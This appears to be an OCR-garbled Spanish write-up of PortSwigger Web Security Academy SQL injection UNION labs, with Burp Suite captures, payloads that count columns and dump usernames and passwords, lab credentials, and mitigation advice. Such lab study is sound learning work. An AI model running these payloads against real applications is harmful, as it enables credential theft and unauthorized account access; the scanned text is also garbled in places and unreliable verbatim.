3 Cookie: sessiorn=xwTdFIwSSMsYTKMGOVPAIXS2cOHIASS) 3 X-Franme-Options: SAMEORIGIN
4 Sec-Ch-Ua  "Chromium®, v="145", "Not:A-Brand", v="93" k Content-Langth: 2525
5 Sec-Ch-Ua-Mobile: 70 R
© Sec-Ch-Us-Platforn. "Linux" 5 <!DOCTYPE htnl>
7 Accept-Language: es-419 es; q=0.9 7 <htnl> Reques
Upgrade-Insecure-Requests: 1 8 <!--LAB_MEAD_START-->
User-Agent: Mozilla/5.0 (X1l; Linux x86_64) AppleNebX1t/537.36 (KHTML 9 <head>
like Gecko) Chrome/145.0.0.0 Safari/537.36 b1 <lirk href=/rescurces/labheader/css/acadenylabHeader. css rel= Reques
Accapt stylashaat>
text/htul spplication/xhtal+xnl, application/xnl; ¢F0 3, inage/avif, inage/ve 11 <lirk href=/rescurces/css/labs css rel=stylashast>
bp, invage/apng, */*, =0 8, application/signed-exchangs, w=b3, =0 7 12 <title> Respon
1 Sec-Fetch-Site: sane-origin SOL injection UNTON attack, deternining the nusber of columns
Sec-Fetch-Mode: navigate returned by the query
Sec-Fetch-User: 71 </title>
1 Sec-Fetch-Dest: docunent 13 </head>
S Referer: 14 < LAB_HEAD_END-->
/ d80422ca72847atbb d0033. web-security-acadeny. net/ 13 <script src="/rescurces/labheader/js/labHeader js*>
Accaept-Encoding: gzip, deflate, br cript>

7 Priority: =0, i 16 <!--LAB_HEADER_START-->
<div id="acadenylabHeader*>

<section class='acadenylsbBanner'>

<div class=container>
2 <div class=logo>
</div>

21 <div class=title-container>
<h2>

SOL injection UNION attack, determnining the nuwber of

D& € > sec £ ohighights (D& € > | searct p 0 highlights

® Determinando cantidad de columnas en 2 Error
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W

=N ¢

Request

Cancel Burp Al

Raw =

Pretty Hex 2B w

GET /filter?category="'+UNION+SELECT+NULL, NULL - -I HTTP/2

Host: l00d80422ca72847a8kb do033. web urity-academy. net
Cookie: sessiorFxwTdFIwSSMsYTKMeOwPAIKS2cOHIASS]

Sec-Ch-Ua: "Chromium";vw="145", "MNot:A-Brand";w="93"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: es-419, es;cF0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (¥11; Linux x86_64) AppleWebkit/537.36 (KHTML,
like Gecko) Chrome/145.0.0.0 Safari/537.36

1
3
4
6

10 Accept:
text/html, application/xhtml+xml, application/xml; cF0. 9, image/avif, image/we
bp, image/apng, */*, ¢=0. 8, appl ication/signed-exchange; v=b3; 0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: 71
14 Sec-Fetch-Dest: document
15 Referer:
https: // 22ca72847a8bb doe33. web urity-academy. net/
15 Accept-Encoding: gzip, deflate, br
17 Priority: =0, 1
18
19

Search

@& ¢ »

Done

el 0 highlights

1 %

+

= e

Request

Cancel { w * BurpAl

Raw =

Pretty Hex 2B wn

1 GET /filter?category="'+UNION+SELECT+NULL, NULL, NULL-- HTTP/2

2 Host: 22ca72847a8bb don33. web urity-academy. net

Cookie: sessiorexwTdFIwSSMsYTKMeOwPAIKS2cOHIASS]

Sec-Ch-Ua: "Chromium";w="145" "Not:A-Brand";w="39"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: es-419 es; 0.9

Upgrade-Insecure-Requests: 1

ReUser-Agent: Mozilla/S.0 (X¥11; Linux xB86_64) AppleWebKit/S37.36 (KHTML,

like Gecko) Chrome/145.0.0.0 Safari/537.36

0 Accept:
text/html, application/xhtml+xml, application/xml; c=0. 9, image/avif, image/we
bp, image/apng, */*, 0. 8, application/signed-exchange; v=h3; F0. 7

1 Sec-Fetch-Site: same-origin

wmoew

) =l T

2 Sec-Fetch-Mode: navigate
3 Sec-Fetch-User: 71
4 Sec-Fetch-Dest: document
5 Referer:
https: / l00d80422ca72847a8bh d0033. web urity-academy. net/
& Accept-Encoding: gzip, deflate, br
7 Priority: w=0, i
8
2

Search

DB € > £ | ohighlights

®  Confirmacién de "Lab Solved”

Road To Hall of Fame (SQL Injection)

Target: https://0aed00dB0422ca72847 a8t

Response == |
Pretty Raw Hex Render 2B w =
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8 |
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2525 1
& <!DOCTYPE html=>
7 <html= 1
8 <!--LAB_HEAD_START-->
] <head=
10 <link href=/resources/labheader/css/academylabHeader. css rel= 1
stylesheet>
11 <link href=/resources/css/labs. css rel=stylesheet>
12 <titles ]
SOL injection UNION attack, determining the number of columns
returned by the query
</title>
132 </head>
14 <!--LAB_HEAD_END-->
15 <script src="/resources/labheader/js/labHeader. js">
<fscript=
18 <!--LAB_HEADER_START--=
17 <div id="academylLabHeader">
18 <section class='academylLabBannar'=
13 <div class=container=
20 <div class=logo>
<fdiv=
21 <div class=title-container=
22 <h2>
SOL injection UNION attack, determining the number of
@& € > | serch £ | ohighlights

Determinando cantidad de columnas en 3 Correcto

Target: https://0aed00dB0422ca72847 28|

Response ==
Pretty Raw Hex Render 2B n =
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 4830
& <!DOCTYPE html=>
7 <html=
8 <!--LAE_HEAD_START--=
] <head=
10 <link href=/resources/labheader/css/academylabHeader. css rel=
stylesheet>
11 <link href=/resources/css/labsEcommerce. css rel=stylesheet>
1z <title>
SOL injection UNION attack, determining the number of columns
returned by the query
</title=
13 </head>
14 =1--LAB_HEAD_END-->
15 <body>
16 <script src="/resources/labheader/js/labHeader. js">
<fscript>
17 <!--LAB_HEADER_START--=
18 <div id="academylLabHeader"=>
19 <section class='academylLabBanner's>
20 <div class=container=
21 <div class=logo>
<fdiv=
22 <div class=title-container>
23 <h2>
@ € > | search £ | Ohighlights
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Burp Projct Intruder R # SQLinjection UNIONatt: x  +

<« C 4] kttps//0aed00d80422ca72847a8bbe00cd0033.web-security-academy.net

f . —

ntercept

H SQL injection UNION attack, determining the number of :
Web Secuﬂt,y columns returned by the query o v i

Academy'<| -,

23:02432M... HTTP 3 Request

Home | My account

SHOP ~-

Request

Gifts

All Accessories Food & Drink Gifts Tech gifts Toys & Games

Snow Delivered To Your Door $45.59

Explicacion del payload:
®  Payload utilizado: '+UNION+SELECT+NULL,NULL,NULL--
® Analisis: Este fragmento de codigo estd diseflado para alterar la légica

original de la base de datos de la siguiente manera:

® La comilla simple ("): Actia como un caracter de ruptura. Su funcion
es cerrar prematuramente la cadena de texto que el desarrollador
definiod originalmente (por ejemplo, cerrando la palabra 'Gifts' en la
base de datos).

°

El signo mas (+): Representa un espacio en blanco codificado para su
correcta transmision a través de la URL, permitiendo separar los
comandos SQL inyectados.

® La instruccién UNION SELECT NULL,NULL,NULL: Instruye al motor
de base de datos a combinar los resultados de la busqueda legitima
con una nueva fila de datos generada por el atacante, compuesta por
tres columnas vacias. El uso de la palabra reservada NULL es
estratégico; al representar la "ausencia de valor", es compatible con
cualquier tipo de dato (texto, niumeros, fechas), evitando que la base
de datos genere errores por incompatibilidad de formatos.

Los dos guiones medios (--): Representan el simbolo de comentario
estandar en bases de datos. Su funcién es indicar al sistema que
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ignore por completo cualquier codigo residual que el programador
original haya escrito después de este punto de inyeccion,
garantizando que la consulta maliciosa se ejecute sin errores de
sintaxis.

Mitigacion recomendada:

Para solucionar esta vulnerabilidad de raiz y cumplir con los estandares de
seguridad de OWASP, se requiere la implementacion inmediata de Consultas
Parametrizadas en el codigo del lado del servidor. Este enfoque separa
estrictamente la estructura de los comandos SQL de los datos proporcionados por
el usuario, obligando a la base de datos a tratar cualquier entrada externa
unicamente como texto literal, neutralizando asi cualquier intento de ejecucion de
codigo.

Como medida de defensa en profundidad, se recomienda implementar validacion
de entradas estricta mediante listas blancas. El parametro category debe ser
validado en el servidor para aceptar exclusivamente valores predefinidos que
correspondan a las categorias reales del negocio, rechazando cualquier peticion
gue contenga caracteres especiales o estructuras andomalas.

8. SQL injection UNION attack, finding a column containing text

®  Nivel: Practitioner

® Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio: Determinar el numero de columnas devueltas por
la consulta original de la aplicacion e identificar qué columna es compatible
con datos de tipo texto, inyectando satisfactoriamente una cadena de
caracteres especifica generada por el sistema.

Explicacion técnica de la vulnerabilidad:

El parametro category procesa la entrada del usuario incluyéndola directamente en
la consulta a la base de datos sin la debida validacién, sanitizacién o
parametrizacion. Al omitir estas barreras de seguridad, el motor de base de datos
interpreta los caracteres especiales introducidos por el usuario como instrucciones
ejecutables en lugar de tratarlos como simple texto. Esta deficiencia permite
anexar una segunda instruccion logica (mediante el operador UNION), forzando a
la base de datos a extraer informacién adicional cuyos resultados se reflejan
directamente en la interfaz que visualiza el usuario final.
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Procedimiento paso a paso:

1. Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite

Proxy.

2. Se envia la peticion interceptada a la herramienta Burp Repeater para su

analisis iterativo.

3. Se inyecta un vector de prueba inicial en el parametro category para
determinar la cantidad de columnas empleadas por la aplicacion.
Mediante el uso de valores nulos, se confirma empiricamente que la
base de datos procesa y devuelve tres columnas sin generar alertas ni

excepciones.

Se procede a inyectar la cadena de texto objetivo en cada una de las

posiciones de las columnas detectadas, de manera secuencial.

5. Se analiza la respuesta del servidor ante cada intento: al introducir el
texto en la primera columna, el servidor arroja una excepcion técnica
(500 Internal Server Error), indicando una incompatibilidad en el
formato de datos. Posteriormente, al posicionar el texto en la segunda
columna, el servidor responde con un cdédigo de éxito (200 OK) y
despliega la cadena de caracteres en la pantalla, confirmando que
dicha columna es la ruta viable para la extraccion de texto.

Capturas de pantalla:
[ J

dato string

m & Cancel € |~ * BurpAl
Request
Pretty Raw Hex o @ wn =

1 GET /filterPcategory='+UNION+SELECT+'Q08yuu’, NULL, NUL--HTTP/2 HTTP/2
Host: 0af600b504elc9b28le2detd00bI0030. web-security-academy. net
Cookie: sessiorrKZdHluLrwS7TwOgQLhVrlV7]0]E3MdISq
Sec-Ch-Ua: "Chromium";vw="145", "Not:A-Brand";v="939"

5 Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: es-419 es; 0.9

2 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (¥11; Linux x86_64) AppleWebKit/537.36 (KHTML
like Gecko) Chrome/145.0.0.0 Safari/537.36

L0 Accept:
text/html, application/xhtml+xml, application/xml; cF0. 9, image/avif, image/w
ebp, image/apng, */*; ¢=0. 8, application/signed-exchange; vw=h3; 0.7

L1 Sec-Fetch-S5ite: same-origin

L2 Sec-Fetch-Mode: navigate

L2 Sec-Fetch-User: 71

L4 Sec-Fetch-Dest: document

L5 Referer:
https: //0af600b504elc 9b281e2de6d00bI0030. web-security-academy. net/

L& Accept-Encoding: gzip, deflate, br

L7 Priority: w0, 1

Bwn

0 highlights

® @ < > Search o

1

Response

Pretty Raw Hex

Detectando que la segunda columna de la base de datos admite tipo de

Target: https://0af600b504e1c9b281e2det

== =«
&‘J'E Ri

Render

HTTP/2 500 Internal Se*er‘ Error

2 Content-Type: text/htm(} charset=utf-8 Ri

3 X-Frame-Options: SAMEORIGIN

4

Content-Length: 2572

Ri
5 <IDOCTYPE html=
7 <html= R
<!--LAB_HEAD_START-->
<head>
<link href=/resources/labheader/css/academylabHeader. css rel= Ri
stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title> =
SOL injection UNION attack, finding a column containing
text
</title>

</head=
<! --LAB_HEAD_END-->

pt src="/resources/labheader/js/labHeader. js">
ipt>
| --LAB_HEADER_START-->
<div ick"academylLabHeader">

<section class='academylLabBanner'=
<div class=container=

<div class=logo>

</dive

<div class=title-container=

<h2=
SOL injection UNION attack, finding a

@ <[> Search o

0 highlights



Confirmacion de "Lab Solved”

# SQLinjection UNIONatt. x | +

“ c ] Bitps//0af600bS04e1cOb281e2de6d00bI0030. web-security-academy... W S} (B

. SQL injection UNION attack, finding a -
EXRe o= (< N Web Secugt}y column containing text S soved
Academy

Request Response

2 " Pretty  Raw
CHYSELECT AL -- HTTP/2 HTTP/. HITP/2 200 0K
2006008695030, v . 2 Content.T: o
aeaLhir 730 = X-Froma-Ont sof Congratulations, you solved the lab! Share your skills! ¥ [ Continue learning
"Mt A-Bra . Content -Lengt

tol>
a8 Home | My account

af 600550441 ¢ 96281 62466400bSAB3D. vab.- security-acadavy. nat / 13 <bedy>
c jeflate, br c

oding: gzip, o
ity: w0, L

"UNION SELECT NULL,NULL,NULL--

O € > | sewch 3 ightghts & € 3

All Accessories Corporate gifts Gifts Lifestyle Pets

Explicacion del payload:

® Payload utilizado: '+UNION+SELECT+NULL,QQOyuu',NULL--

®  Analisis:

® La comilla simple (*): Finaliza prematuramente la instruccién legitima

programada originalmente por el desarrollador de la tienda.

* Elsigno de suma (+): Actua como la codificacién de un espacio en blanco
en la barra de direcciones de internet, sirviendo para separar los
comandos introducidos.

® El comando UNION SELECT: Es la instruccion principal que ordena al
sistema combinar los resultados de la tienda normal con la nueva consulta
fabricada para el analisis.

® El uso de valores NULL: Se ubican en la primera y tercera posicién para
evitar conflictos de formato. Este valor representa un "vacio" que es
universalmente aceptado por cualquier columna, lo que previene que el
sistema colapse mientras se evallan otras posiciones.

® La cadena '"QQOyuu': Se ubica intencionalmente en la segunda posicion
para forzar al sistema a evaluar si dicha columna tiene la capacidad de
procesar y mostrar datos alfanuméricos.

® Los guiones dobles (--): Funcionan como un simbolo de "comentario"
técnico. Indican al sistema que ignore el resto del codigo original de la
aplicacion, previniendo errores de sintaxis que de otro modo bloquearian
la ejecucion del analisis.
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Mitigacion recomendada:

Se recomienda enfaticamente la implementacién de Consultas Parametrizadas
(Prepared Statements) en todas las funciones del cédigo fuente que interactuen
con bases de datos. Esta medida defensiva, considerada un estandar indispensable
por guias de seguridad globales como OWASP, garantiza que cualquier
informacién ingresada por el usuario sea clasificada estrictamente como "dato
literario”, imposibilitando que se ejecute como cdédigo malicioso. De forma
complementaria, se sugiere establecer validaciones de entrada basadas en listas
de aceptacion (allow-lists), garantizando que el filtro de busqueda uUnicamente
procese categorias preaprobadas por el sistema de inventario.

9. SQL injection UNION attack, retrieving data from other tables

®  Nivel: Practitioner

® Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio: Extraer las credenciales de acceso de todos los
usuarios registrados en la base de datos y utilizar la informacién obtenida
para acceder exitosamente a la cuenta del administrador.

Explicacion técnica de la vulnerabilidad:

La vulnerabilidad reside en el parametro category de la funcion de filtrado de
productos. La aplicacion web toma el texto introducido en este parametro y lo
inserta directamente en la consulta a la base de datos sin ningun tipo de limpieza o
validacion previa (sanitizacion).

Para comprenderlo desde una perspectiva gerencial: el sistema esta disefiado para
solicitar al servidor "muéstrame los productos de la categoria X". Al no verificar qué
es exactamente "X" un tercero puede manipular la solicitud para que diga
"muéstrame los productos de la categoria X, y también muéstrame los nombres de
usuario y contrasefas del sistema". La base de datos obedece ambas 6rdenes y la
aplicaciéon web termina mostrando informacién altamente confidencial en la
pantalla del usuario, tratdndola visualmente como si fueran articulos del catalogo
de productos.

Procedimiento paso a paso:
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Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy.

Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo.

Se realiza una fase de reconocimiento inyectando consultas de prueba para
determinar la estructura de la base de datos, descubriendo que la consulta
original devuelve exactamente dos columnas capaces de procesar y mostrar
texto.

Se inyecta el operador logico que unifica consultas dentro del parametro
category, solicitando especificamente las columnas de usuario y contrasefna
de la tabla interna de registros de la plataforma.

Se analiza el codigo fuente de la respuesta del servidor en la seccion
"Response"”, localizando la insercion de las credenciales confidenciales
dentro de las etiquetas HTML de la tabla de productos.

Se aisla y documenta la contrasefa en texto plano correspondiente al
usuario administrador.

Se navega al portal de autenticacion del sistema y se ingresan las
credenciales sustraidas, confirmando el acceso privilegiado no autorizado.

Capturas de pantalla:

Verificando la cantidad de columnas en la tabla

Road To Hall of Fame (SQL Injection) 40



Burp Project Intruder Repeater \View Help Burp Suite Community Edition v2026.1.5 - Temparary Project
Dashboard Target Proxy *® Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 x 4
m @ Cancel * BurpAl Target: https://0a8b00b40334c 836804753 ac00B000
Request Response k == Inspector
Pretty Raw Hex n = Pretty Raw Hex Render W = Requestattri
1 GET /filter?category='+UNION+SELECT+'abc', 'def'-- HTTP/2 1 HTTP/2 200 OK
2 Host: 0a8bDOb40334c836804753ac008000F1. web-security-academy. net 2 Content-Type: text/html; charset=utf-8 Request quer
3 Cookie: sessiorexboucDrRVIVm3fhgOKvRi0fpgfasmovy 2 X-Frame-Options: SAMEORIGIN
4 Sec-Ch-Ua: "Chromium";v="145" "Not:A-Brand";v="93" 4 Content-Length: 4119 - bod
S Sec-Ch-Ua-Mobile: 70 5 equest bod|
& Sec-Ch-Ua-Flatform: "Linux" & <IDOCTYPE html=
7 Accept-Language: es-419, es; 0.9 7 <html= Request caok
2 Upgrade-Insecure-Requests: 1 8 <!--LAE_HEAD_START--=
9 User-Agent: Mozilla/5.0 (X¥11; Linux xB6_64) AppleWebKit/537.36 (KHTML, 2 <head>
like Gecko) Chrome/145.0.0.0 Safarif537.36 1o <link href=/resocurces/labheader/css/academylabHeader. css rel= Request heac
10 Accept: stylesheet>
text /html, appl icat ion/xhtml+xnl, application/xnl; g=0. 9, image/avif, image/w |11 <lirk href=/resources/css/labsEcommerce. css rel=styleshest>
ebp, image/apng, */*; c=0. 8, application/signed-exchange; v=h3; 0.7 12 <title> Response he:
11 Sec-Fetch-Site: same-origin SO0L injection UNION attack, retrieving data from other
12 Sec-Fetch-Mode: navigate tables
13 Sec-Fetch-User: 71 </title=
14 Sec-Fetch-Dest: document 13 </head=
15 Referer: 14 <!--LAB_HEAD_END- -=
https: //0a8b00b40334c836804753ac 008000f 1. web-security-academy. net/ 15 <body=
15 Accept-Encoding: gzip, deflate, br 16 <script sre="/resources/labheader/js/labHeader. js">
17 Priority: w=0, i </script>
8 17 <!--LAB_HEADER_START-->
19 18 <div id="academylLabHeader">
19 <section class'academylabBanner's>
20 <div class=container>
21 <div class=logo>
</div=
22 <div class=title-container=
23 <h2=

@& € > | search £ ohighlights
Done
Event log Allissues
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® 0 matches

@ Memory:1

Recuperando informacioén de los usuarios de la base de datos
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Burp  Propct ntruder  Repeater View Help Burp Sute Community Edition v2026.1.5 - Temporary Projct
Dashboard Target Proxy * ntruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 4 X +
m o) Cancel % BurpAl Target: https://0s8b00b40334¢ 836804
Request Response Q==
Pretty Raw Hex B w o= Prey Raw Hex Render R B n =
1 GET /filter?category='+UNION+SELECT+usernane, +password+FROMiusers. - 0 </=e:;13;>
HTTP/2 7 <table class="is-table-longdescription*>
2 Host: 0aBbOCb403234c836804753ac008000F1. web-security-acadeny. net ) <tbody>
3 Cookie: sessiorexbaucDrRVIVN3FhgOKvRLOfpgfasnovy - <tr>
4 Sec-Ch-Ua: “Chromium®;v="145", "Not:A-Brand";v="99" 4 <th>
5 Sec-Ch-Ua-Mobile: 70 carlos
& Sec-Ch.Ua-Platform: “Linux" <fth>
7 Accept-Language es-419 es, =0 9 — <td»>
2 Upgrade-Insecure-Requests: 1 . ) ka9vevyvdqSh74381kiv
9 User-Agent: Mozilla/5.0 (X11, Linux xB6_64) Applewebiit/537.36 (KHTML, </td>
like Gacko) Chrone/145.0.0.0 Safari/537.36 y <trs
10 Accept: 77 <tr>
taxt/htnl, spplication/xhtml+xnl, application/xml; g=0. 9, inage/avaf, image/vw re <th>
ebp, inage/spng, */* ¢=0_B, spplication/signed-exchange, v=b3, ¢=0.7 aduinist rator
Sec-Fatch-Site: same-origin </th>
Sec-Fetch-Mode: navigate 79 <td»
Sec-Fatch-Usar: 71 :
1511 gae3r7pemzasSrct
Sec-Fetch-Dest: docunent </td» i k‘ °
15 Refarer: 8 </t
r>
https: //088b00b40334c B36804753ac008000f 1. veb-security-academy. net/ 21 <tr>
16 Accept-Encoding: gzip, deflate, br a <ths
Priority: w0, i wiener
</th>
83 <td»
Sc2a9lySzaz2pc2naTky
</t
</tr>
</thody>
PPIGRT
OL € 2 | seth £ ohighlghts (DS € S | admni x 1match

® Confirmacién de "Lab Solved”

Soquences

SQL injection UNiON attack, retrieving
data from other tables

k ] ptior

e soesesesnes| WWED SECUrItY
Response Q== insg AcadEI n lh]
P n= oy Ran Hex Render RO "= feq
7 “eble claawm*is-table-Longdescriptionts ratulations, you solved the lab!
2 “tbody>
carles Roqu)
</th>
KHTIL, kaSvevyvdqsh7aas1kiv Requl
o>
’ " ~.] My Account
!, ivagasv - sy
7 sth> Your username is: administrator
adninist rator
</th>
1511 e03r72rnzadrctp Emi
</td>
"t/ ¢ </tr>
82 T et
wianar
</th>
<t Update email
Sc209 ySzazdpc 2nnThy
“/to>
ohighights D & € > | admi x Imatch | Selaction: 20
@ —
.
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Explicacion del payload:

®  Ppayload utilizado: '+UNION+SELECT+username,+password+FROM+users--

® Analisis: El funcionamiento de esta cadena maliciosa se divide en

instrucciones especificas para alterar la ldgica del motor de base de datos:

®  La comilla simple (*): Actia como un caracter de escape. Su funcién es

cerrar prematuramente la cadena de texto de la consulta original que el
desarrollador programo, permitiendo que lo que siga se interprete como
comandos SQL ejecutables y no como simple texto de busqueda.
® La instruccion UNION SELECT: Es un operador legitimo de SQL
utilizado aqui de forma maliciosa. Su funcién es combinar los resultados
de la consulta original de productos con los resultados de una consulta
completamente nueva y arbitraria elaborada por el atacante.
Los campos username, password: Representan las dos columnas
exactas que se desea extraer. Al ser dos columnas, se cumple el
requisito técnico del operador UNION, el cual exige que ambas
consultas coincidan en el numero de elementos devueltos.
La directiva FROM users: Especifica el origen de los datos, indicando al
motor de la base de datos que la informacion solicitada se encuentra en
la tabla de almacenamiento de usuarios.
El doble guion medio (--): Es el simbolo de comentario en SQL. Su
funcion critica es anular o "comentar" cualquier fragmento de cdédigo
legitimo que la aplicacion tuviera previsto ejecutar después del
parametro evaluado. Esto evita que se generen errores de sintaxis en el
servidor, garantizando que la inyeccion se ejecute de manera limpia e
indetectable por los controles basicos.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad, se debe evitar categodricamente la
concatenacion dinamica de cadenas en la construccion de consultas a la base de
datos.

La defensa técnica principal es la implementacion de Consultas Parametrizadas en
el codigo fuente. Esta técnica estructural asegura que la base de datos trate
cualquier entrada del usuario estrictamente como un valor de datos inofensivo y
nunca como un comando ejecutable, neutralizando la inyeccidn
independientemente de los caracteres especiales utilizados. Adicionalmente, se
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recomienda aplicar el principio de Validacion de Entradas mediante una lista
blanca, asegurando que el parametro de categoria solo acepte valores
predefinidos y conocidos por el negocio (por ejemplo, "Gifts", "Accessories"),
bloqueando automaticamente cualquier peticion que contenga estructuras o
caracteres anomalos. Estas medidas estan alineadas con los mas altos estandares
de desarrollo seguro establecidos por la fundacion OWASP.

10. SQL injection UNION attack, retrieving multiple values in a single

column

®  Nivel: Practitioner

®  Tipode SQLi: In-band (UNION-based)

Objetivo del laboratorio:

Extraer las credenciales de todos los usuarios de la base de datos
(incluyendo cuentas administrativas) utilizando una vulnerabilidad de
inyeccion SQL, y emplear dicha informacion para comprometer la
plataforma mediante autenticacion no autorizada.

Explicacion técnica de la vulnerabilidad:

El parametro vulnerable es la categoria (category) utilizado en los filtros de
busqueda de la aplicacion. La falla ocurre porque el sistema toma el texto exacto
que ingresa el usuario y lo une directamente con las instrucciones internas de la
base de datos sin realizar ninguna limpieza, desinfeccion o verificacién previa.

En términos gerenciales, es el equivalente a entregar un formulario firmado en
blanco donde cualquier persona puede afadir instrucciones adicionales que el
sistema ejecutara ciegamente. Al introducir comandos especiales, la consulta
original de la aplicacion se altera, obligando a la base de datos a no solo buscar los
productos de una categoria, sino también a anexar y revelar informacion
confidencial almacenada en otras tablas internas, como los nombres de usuario y
contrasenas.

Procedimiento paso a paso:

® Seintercepta la peticién HTTP dirigida al servidor utilizando Burp Suite Proxy

al momento de seleccionar una categoria de producto.
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Se envia la peticion interceptada a la herramienta Burp Repeater para su
manipulacion y analisis iterativo.

Se inyecta la clausula ORDER BY para interactuar con la estructura de la base
de datos y determinar el nimero exacto de columnas que devuelve la
consulta original, confirmando que la respuesta consta de dos columnas.

Se inyectan valores de prueba (texto nulo y cadenas de caracteres)
utilizando el comando UNION SELECT para identificar qué columna es capaz
de procesar y mostrar datos de texto en la pantalla final. El analisis de la
respuesta confirma que la segunda columna es la Unica apta para este fin.
Se disefa e inyecta un vector de ataque en el parametro vulnerable,
utilizando un operador légico de concatenacion para unir el nombre de
usuario y la contrasefia en un solo bloque de texto continuo. Esto permite
extraer ambos datos simultdneamente a través de la Unica columna de texto
disponible.

Se analiza la respuesta HTML del servidor, confirmando el éxito del ataque al
visualizar las credenciales de la cuenta administradora impresas de forma
directa en la interfaz visual de la tienda.

Se extraen las credenciales obtenidas y se utilizan en el panel de inicio de
sesion para tomar control de la cuenta objetivo.

Capturas de pantalla:

. V oo .
erificando la cantidad de columnas
Dashboard Target Proxy Intruder Repeater Collsborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 il 3 4 5 6 x +
[ send IR ' BurpAl Target: https://0a4800500 4de3 3bd 80403f2a00¢
Request Response == Inspec
Pretty Raw Hex w n = Pretty Raw Hex Render 1Y W = Request
1 GET sfilter?category=' ORDER BY 2-- HTTR/2 1 HTTP/2 200 OK
2 Host: 048005004de33bdB0403F2300d6008F . web-security-academy. net 2 Content-Type: text/html; charset=utf-8 Request
3 Cookie: session=2woKgzMtBIWPSAD42]ZiBzHOSIBahoi0 3 X-Frame-Options: SAMEORIGIN
4 Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";u="88" 4 Content-Length: 3941 )
5 Sec-Ch-Ua-Mobile: 70 5 EEqus
& Sec-Ch-Ua-Platform: "Linux" & <IDOCTYPE html>
7 Accept-Language: es-419,=s;ce0.9 7 <htnls Request
2 Upgrade-Insecure-Requests: 1 8 <1--LAB_HEAD_START-->
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/S37.36 (KHTML, <heads
Like Gecko) Chrome/145.0.0.0 Safari/S37.36 10 <lirk href=/resources/Labheader /css/acadenylabHeader. css rel= Request
10 Accept stylesh
text/htnl, application/xhtml+xnl, spplication/xnl; =0. 9, inage/avif, inage/w 11 <lirk href=/resources/css/labsEcommerce. css rel=styleshest>
ebp, image/apng, */*; qF0. 8, application/signed-exchange; v=b3; =0. 7 12 <title> Re=pory
11 Sec-Fstch-Site: same-origin SOL injection UNION attack, retrieving miltiple values in
12 Sec-Fstch-Mode: navigats a single column
13 Sec-Fetch-User: 71 </titles
14 Sec-Fetch-Dest: document 13
15 Referer 14
https: //0a48 e33bd80403f 2200d _web-security-acadsmy. net/ 15
16 Accept-Encoding: gzip, deflate, br 16 <script sre="/resources/Labheader/js/labHeader. j=">
17 Priority: w0, i </script>
18 1 <!--LAB_HEADER_START-->
19 1 <div idk"academylLabHeader">
1 <section class'academylabBanner'>
2 <div class=container>
21 <div class=logo>
</dive
2 <div classtitle-containers
23 <h2>

@& € > | serch £ | onighlights (DG € 2 | Search 2| ohighlights

Done
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Verificando la columna que tiene campo de tipo string

Burp  Project Intruder Repester View  Help

Burp Suite Community Edition v2026.1.5 - Temporary Project

Dashboard Target Proxy ®  Intruder Repeater Collaboratar Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 4 5 6 X +

[ send IS < v % BurpAl Target: https://0a48005004de33bd 804

Request Response a= =

Pretty Raw Hex o n = Pretty Raw Hex Render ® n o=

Dwe W

o~

9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/S37.36 (KHTML,
like Gecko) Chrome/145.0.0.0 Safari/537.36
10 Accept:

GET /filter?category=' UNION SELECT NULL, ‘abc'-- HTTP/2

Host: 0a480 de33b i . web-security-academy. net
Cookie: sessior=2woKgzMtBSWPSA042]ZjBzHOS18ahoi0

Sec-Ch-Ua: "Chromium";v="145", “Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: es-413, es; 0.9

Upgrade-Insecure-Requests: 1

WE LIKE TO

SHOP —

text /html, application/shtnl+xnl, application/xnl; c=0.9, image/avif, image/w

ebp, image/apng, */*; ¢=0. 8, application/signed-exchange; v=b3; cF0. 7
Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode:
13 Sec-Fetch-User:
14 Sec-Fetch-Dest:

ravigate
71
document

Referer:
https: //024800: de33b I
Accept-Encoding: gzip, deflats, br
Priority: =0, i

@& € > | search »p

f. web-security-academy. net/

Ohighlights

"UNION SELECT NULL, 'abc'--

Refine your search:

All Food & Drink Gifts Lifestyle Tech gifts

Toys & Games

abc

Recuperando usuarios y contrasefas de la base de datos

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2026.1.5 - Temporary Project
Dashboard Target Proxy ® intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 4 5 6 X +

m ® Cancel < v % BurpAl

Request

Pretty Raw Hex

a@n

GET /filter?category=' UNION

T

O € >  san o
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SELECT NULL, username||'~'||password FRON users.- HTTP/2

Host: 0a48005004de330080403f 2a0005008F , web-security-acadeny net

Cookie: sessionm2voKgzNtBINPSAD42)2Z)BzH0S5)Baho10

Sec-Ch-Ua: *Chromiun®;\="145%, “Not:A-Brand";\="99"

Sec-Ch-Ua-Mobile: 70

Sac-Ch-Ua-Flatforn: “Linux"

